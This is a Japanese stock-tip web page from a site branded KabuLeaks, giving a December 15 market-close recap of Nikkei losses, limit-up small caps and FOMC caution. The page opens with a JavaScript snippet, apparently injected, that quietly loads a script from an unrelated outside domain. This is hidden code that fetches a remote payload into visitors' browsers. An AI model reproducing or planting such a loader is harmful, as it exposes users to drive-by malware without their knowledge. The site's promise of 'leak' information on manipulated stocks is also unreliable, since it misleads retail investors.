;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【12/15 大引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【12/15 大引け】

本日の日経平均株価は317円安と大幅続落。後場も引き続き軟調な展開。寄り付きこそは買い先行で始まったものの、その後は先物主導での売り仕掛け的な動きから一段安。引けにかけてもやや買い戻しが入ったもののほぼ安値圏で取引を終えた。また、物色は材料株・中小型株は継続も前場大幅上昇などの銘柄など、FOMC前の利益確定売りから大きく値を崩す銘柄が目立った。業種別では、33業種全てが下落し、特にパルプ・紙、その他製品、銀行業、海運業などが値下がり率上位に。

個別では、【3031】ラクーン。同社が運営するPaid(ペイド)がFintech協会に加入を材料視されストップ高となったほか、【4583】カイオム・バイオサイエンスは後場一段高のストップ高に。また、北海道新幹線の思惑から【9812】テーオー小笠原や中小型株の一角、【6094】フリークアウトなどが後場一段高に。本日新規上場の【3925】ダブルスタンダードは公開価格の約2.3倍となる初値を付け後、一時ストップ高まで買われた。

明日は引き続き15日~16開催のFOMC警戒から弱含む展開が予想。明日も材料株・中小型株への短期値幅取りメインの動きとなると思うがFOMCの結果を前に本日同様前場盛り上がった後の後場急落の展開には警戒。また、FOMCを前にした先物主導での売り仕掛け的な動きにも要注意!